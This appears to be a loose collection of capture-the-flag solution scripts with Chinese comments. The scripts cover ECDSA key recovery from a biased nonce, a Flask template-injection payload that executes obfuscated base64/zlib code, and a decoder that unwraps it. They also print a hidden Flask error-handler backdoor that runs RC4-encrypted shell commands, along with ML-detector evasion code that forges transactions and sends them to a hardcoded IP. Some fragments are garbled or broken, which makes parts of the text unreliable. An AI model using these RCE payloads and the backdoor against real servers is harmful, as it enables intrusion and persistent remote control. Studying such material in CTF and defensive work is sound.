def nonce(i):
seed = sha512(b"bias" + bytes(\[i\])).digest()
k = int.from_bytes(seed, "big")
return k

from ecdsa import SigningKey, VerifyingKey, NIST521p
from ecdsa.util import sigdecode_string
from hashlib import md5, sha1  # 关键：使用 SHA-1！
from Crypto.Util.number import long_to_bytes
import binascii

curve = NIST521p
n = curve.order

def nonce(i):
    seed = __import__('hashlib').sha512(b"bias" + bytes([i])).digest()
    k = int.from_bytes(seed, "big")
    return k  # 不需要取模，因为 k < n

# 读取第一个签名
with open("signatures.txt", "r") as f:
    line = f.readline().strip()
    msg_hex, sig_hex = line.split(":")
    msg = binascii.unhexlify(msg_hex)
    sig = binascii.unhexlify(sig_hex)

# 读取公钥
with open("public.pem", "rb") as f:
    vk = VerifyingKey.from_pem(f.read())

# 解码签名
r, s = sigdecode_string(sig, n)

# 关键修正：使用 SHA-1 计算消息哈希（ecdsa 库默认行为）
h = int.from_bytes(sha1(msg).digest(), "big")

# 获取 nonce
k = nonce(0)

# 恢复私钥: d = r^(-1) * (s * k - h) mod n
r_inv = pow(r, -1, n)
d = (r_inv * (s * k - h)) % n

# 验证
priv_bytes = long_to_bytes(d, 66)
sk_recovered = SigningKey.from_string(priv_bytes, curve=NIST521p)

if sk_recovered.verifying_key.to_string() == vk.to_string():
    pem_data = sk_recovered.to_pem()
    md5_pem = md5(pem_data).hexdigest()
    print(md5_pem)
else:
    print("[-] 验证失败")

{{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ=='))", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

_ = lambda \__ : \__import_\_('zlib').decompress(\__import_\_('base64').b64decode(\__\[::-1\]));

exec((\_)(b'...'))

import zlib
import base64

def decrypt_layer(data):
    """解密单层: 反转 -> Base64解码 -> Zlib解压"""
    reversed_data = data[::-1]
    b64_decoded = base64.b64decode(reversed_data)
    decompressed = zlib.decompress(b64_decoded)
    return decompressed
# (Payload 省略，填入提取的 b'...')
payload = b'=c4CU3xP+...'
current = payload

while True:
    layer += 1
    try:
        result = decrypt_layer(current)
        print(f"=== Layer {layer} ===")

        # 检查是否还是嵌套的exec
        if b"exec((_)(" in result:
            # 提取下一层payload
            start = result.find(b"(b'") + 3
            end = result.rfind(b"'))")
            current = result[start:end]
            print(f"Found nested payload, continuing...")
        else:
            # 最终代码
            print(result.decode("utf-8"))
            break
    except Exception as e:
        print(f"Decryption complete or error: {e}")
        print(f"Final result:\n{current}")
        break

global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def backdoor_handler():
if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
return "Error"
enc_hex_cmd = request.form.get('data')
if not enc_hex_cmd:
return ""
try:
enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
enc_output = rc4_crypt(output_bytes, RC4_SECRET)
return binascii.hexlify(enc_output).decode()
except:
return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

import binascii

RC4_SECRET = b"v1p3r_5tr1k3_k3y"

def rc4_crypt(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    res = bytearray()
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        res.append(char ^ S[(S[i] + S[j]) % 256])
    return bytes(res)

# 提取的加密流量数据 (示例)
payloads = [
    "bab6694ba3c938e64b8d257b7cccee460f6347f4363ed21c300c099f129b99028eb57408024e1c32061a", # curl ...
    "d5b0604aa88231e05a96323c6f9df8095b7f1ba27568d712390a42d113", # unzip ...
    "d2be7342ba9223a54b9d207b7899bd4e46755fe0687ec11d2e1657" # mv ...
]

print("=== Decrypted Commands ===")
for p in payloads:
    try:
        decrypted = rc4_crypt(binascii.unhexlify(p), RC4_SECRET)
        print(decrypted.decode())
    except:
        pass

# 查找表
K = "012ab9c3478d56ef"

# 验证 Pisano 周期 (模 16)
def find_pisano(m):
    prev, curr = 0, 1
    for i in range(m * m):
        prev, curr = curr, (prev + curr) % m
        if prev == 0 and curr == 1:
            return i + 1
    return -1

# 周期为 24
period = find_pisano(16)
print(f"Pisano period mod 16: {period}")

def f(a1):
    # 利用周期性优化，防止 a1 过大导致循环跑断腿
    a1 = int(a1 % period)
    v5, v4 = 0, 1
    for _ in range(a1):
        v2 = v4
        v4 = (v5 + v4) & 0xF
        v5 = v2
    return K[v5]

v11 = 1
result = []

# 模拟 main 函数逻辑
for i in range(32):
    result.append(f(v11))
    # 模拟 v11 的增长
    v11 = (v11 * 8 + i + 64) 
    # v11 在 C++ 中是 unsigned __int64，但在 Python 中会自动处理大数
    # 取模周期 24 时，不需要关心 v11 是否溢出 64 位，
    # 但为了严谨可以加 v11 %= 2**64，不过对结果取模 24 无影响。

# 拼接 Flag
flag = "flag{"
for i, c in enumerate(result):
    flag += c
    # 在指定位置插入横杠
    if i in [7, 12, 17, 22]:
        flag += "-"
flag += "}"

print(flag)

import pandas as pd
import numpy as np
from sklearn.ensemble import IsolationForest
from sklearn.preprocessing import StandardScaler
import warnings
warnings.filterwarnings('ignore')

class SilentHeist:
    def __init__(self, ledger_path='public_ledger.csv'):
        self.feature_cols = [f'feat_{i}' for i in range(20)]
        self.load_data(ledger_path)
        self.analyze_distribution()
        self.train_detector()
        
    def load_data(self, path):
        self.df = pd.read_csv(path)
        if 'f0' in self.df.columns:
            self.df.columns = self.feature_cols
        self.data = self.df[self.feature_cols].values
        
    def analyze_distribution(self):
        self.mean = np.mean(self.data, axis=0)
        self.cov = np.cov(self.data, rowvar=False) + np.eye(20) * 1e-6
        self.std = np.std(self.data, axis=0)
        self.percentiles = {
            'p1': np.percentile(self.data, 1, axis=0),
            'p5': np.percentile(self.data, 5, axis=0),
            'p95': np.percentile(self.data, 95, axis=0),
            'p99': np.percentile(self.data, 99, axis=0)
        }
        
    def train_detector(self):
        self.scaler = StandardScaler()
        scaled_data = self.scaler.fit_transform(self.data)
        self.detector = IsolationForest(
            n_estimators=100,
            contamination=0.05,
            random_state=42
        )
        self.detector.fit(scaled_data)
        
    def generate_samples(self, n_samples):
        samples = np.random.multivariate_normal(self.mean, self.cov, size=n_samples)
        
        for i in range(20):
            samples[:, i] = np.clip(
                samples[:, i], 
                self.percentiles['p5'][i], 
                self.percentiles['p95'][i]
            )
        return samples
    
    def validate_samples(self, samples):
        scaled = self.scaler.transform(samples)
        predictions = self.detector.predict(scaled)
        return predictions == 1
    
    def forge_transactions(self, target_amount=2_100_000, max_iterations=100):
        all_valid_samples = []
        current_total = 0
        iteration = 0
        
        while current_total < target_amount and iteration < max_iterations:
            batch_size = 500
            candidates = self.generate_samples(batch_size)
            valid_mask = self.validate_samples(candidates)
            valid_samples = candidates[valid_mask]
            
            if len(valid_samples) > 0:
                all_valid_samples.append(valid_samples)
                current_total += np.sum(valid_samples[:, 0])
            
            iteration += 1

        forged = np.vstack(all_valid_samples)

        forged_df = pd.DataFrame(forged, columns=self.feature_cols)
        forged_df = forged_df.drop_duplicates()

        noise = np.random.normal(0, 0.0001, (len(forged_df), 20))
        forged_df += noise * self.std
        
        return forged_df
    
    def export_csv(self, forged_df):
        csv_content = forged_df.to_csv(index=False)
        return csv_content + "EOF"
    
    def execute_heist(self):
        forged_df = self.forge_transactions()
        
        total = forged_df['feat_0'].sum()
        valid_count = np.sum(self.validate_samples(forged_df.values))
        
        stats = {
            'total_transactions': len(forged_df),
            'total_amount': total,
            'valid_rate': valid_count / len(forged_df),
            'target_reached': total >= 2_000_000
        }
        
        csv_output = self.export_csv(forged_df)
        
        return csv_output, stats


heist = SilentHeist('public_ledger.csv')
csv_output, stats = heist.execute_heist()

import socket

csv_content = open('forged_transactions.csv').read()

if not csv_content.endswith('EOF'):
    payload = csv_content + "EOF"
else:
    payload = csv_content

def submit(host, port, data):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(60)
        s.connect((host, port))

        welcome = b''
        try:
            while True:
                chunk = s.recv(4096)
                welcome += chunk
                if b'EOF' in chunk or b'Waiting' in chunk:
                    break
        except:
            pass
        print(welcome.decode())
        
        s.sendall(data.encode())

        response = b''
        while True:
            try:
                chunk = s.recv(4096)
                if not chunk:
                    break
                response += chunk
                print(chunk.decode(), end='', flush=True)
            except socket.timeout:
                break
            except Exception as e:
                print(f"\nError: {e}")
                break
        
        return response.decode()

result = submit('47.93.19.5', 30773, payload)

from Crypto.Cipher import AES

key = b"FanBglFanBglOoO!"

ct = bytes.fromhex("d458af702a680ae4d089ce32fc39945d")

AES.new(key, AES.MODE_ECB).decrypt(ct)

# extract.py
import json
import os

MAP_PATH = "release.wasm.map"
OUT_DIR = "extract"

os.makedirs(OUT_DIR, exist_ok=True)

with open(MAP_PATH, "r", encoding="utf-8") as f:
    data = json.load(f)

sources = data.get("sources", [])
contents = data.get("sourcesContent", [])

print("sources count:", len(sources))
print("contents count:", len(contents))

for i, src in enumerate(sources):
    code = contents[i] if i < len(contents) else ""
    if not code:
        continue

    # 一般 sources 里会带路径/标识，取最后一段做文件名
    fname = src.split("~")[-1].split("/")[-1]
    out_path = os.path.join(OUT_DIR, fname)

    with open(out_path, "w", encoding="utf-8") as out:
        out.write(code)

    print("extracted:", out_path)